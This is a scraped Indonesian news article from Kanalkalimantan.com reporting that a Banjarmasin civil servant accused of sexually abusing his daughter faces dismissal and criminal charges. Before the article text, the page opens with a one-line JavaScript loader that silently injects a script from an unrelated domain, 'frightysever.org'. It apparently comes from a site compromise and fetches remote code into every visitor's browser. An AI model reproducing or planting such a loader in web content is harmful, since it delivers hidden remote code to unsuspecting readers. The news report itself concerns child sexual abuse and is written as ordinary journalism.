(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARAMSIN – Kasus asusila yang dilakukan tersangka AS (45)- yang masih berstatus Aparatur Sipil Negara (ASN) Pemko Banjarmasin, menjadi perhatian serius Wali Kota Banjarmasin Ibnu Sina. AS bahkan terancam akan dipecat!
Sebagaimana diketahui, AS tega melakukan perbuatan cabul terhadap putri kandungnya sendiri. Kasus ini pun sedang ditangani oleh polisi.
Wali Kota Ibnu Sina mengatakan, AS nantinya akan dikenakan sanksi kode etik sehabis sidang pidana di Pengadilan Negeri (PN) Banjarmasin.
“Tentu pelaku yang berstatus ASN tersebut nantinya akan kenakan sanksi kode etik, tapi setelah sidang kasusnya di pengadilan,” tegasnya, Selasa (9/2/2021).
Sementara itu, Penjabat Sekretaris Daerah Kota Banjarmasin Mukhyar menyampaikan, AS yang yang bertugas di Kecamatan Banjarmasin Utara tersebut terancam pemecatan secara tidak hormat.
“Jika sudah menyangkut masalah hukum apalagi pidana, maka sanksi tegas pun bakal dilakukan. Yakni pemecatan,” katanya.
Ia mengatakan, AS memang dikenal sebagai ASN bermasalah. “Sebelumnya yang bersangkutan pernah dihukum Majelis Pertimbangan Penjatuhan Hukuman Disiplin Pegawai (MPPHDP) Pemko, Karena melanggar disiplin kepegawaian. Yang bersangkutan kerap tidak masuk kerja,” bebernya.
Jajaran Satreskrim Polresta Banjarmasin sudah melakukan gelar perkara kasus pencabulan tersebut, Senin (8/2/2021) lalu. Polisi juga berencana akan melakukan pemeriksaan kejiwaan kepada AS. Hal ini karena perilaku AS kepada anak kandungnya tersebut telah dilakukan sejak anaknya duduk di bangku Kelas VI SD hingga Kelas VIII SMP.
Dan menurut pengakuannya sendiri, AS mengaku sering menonton film porno, sehingga menyalurkan nafsu bejat ke anak kandungnya sendiri. AS dijerat pasal 81 ayat 4 undang-undang Perlindungan Anak Nomor 35 tahun 2014, dengan ancaman 20 tahun pidana penjara.(Kanalkalimantan.com/putra)
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.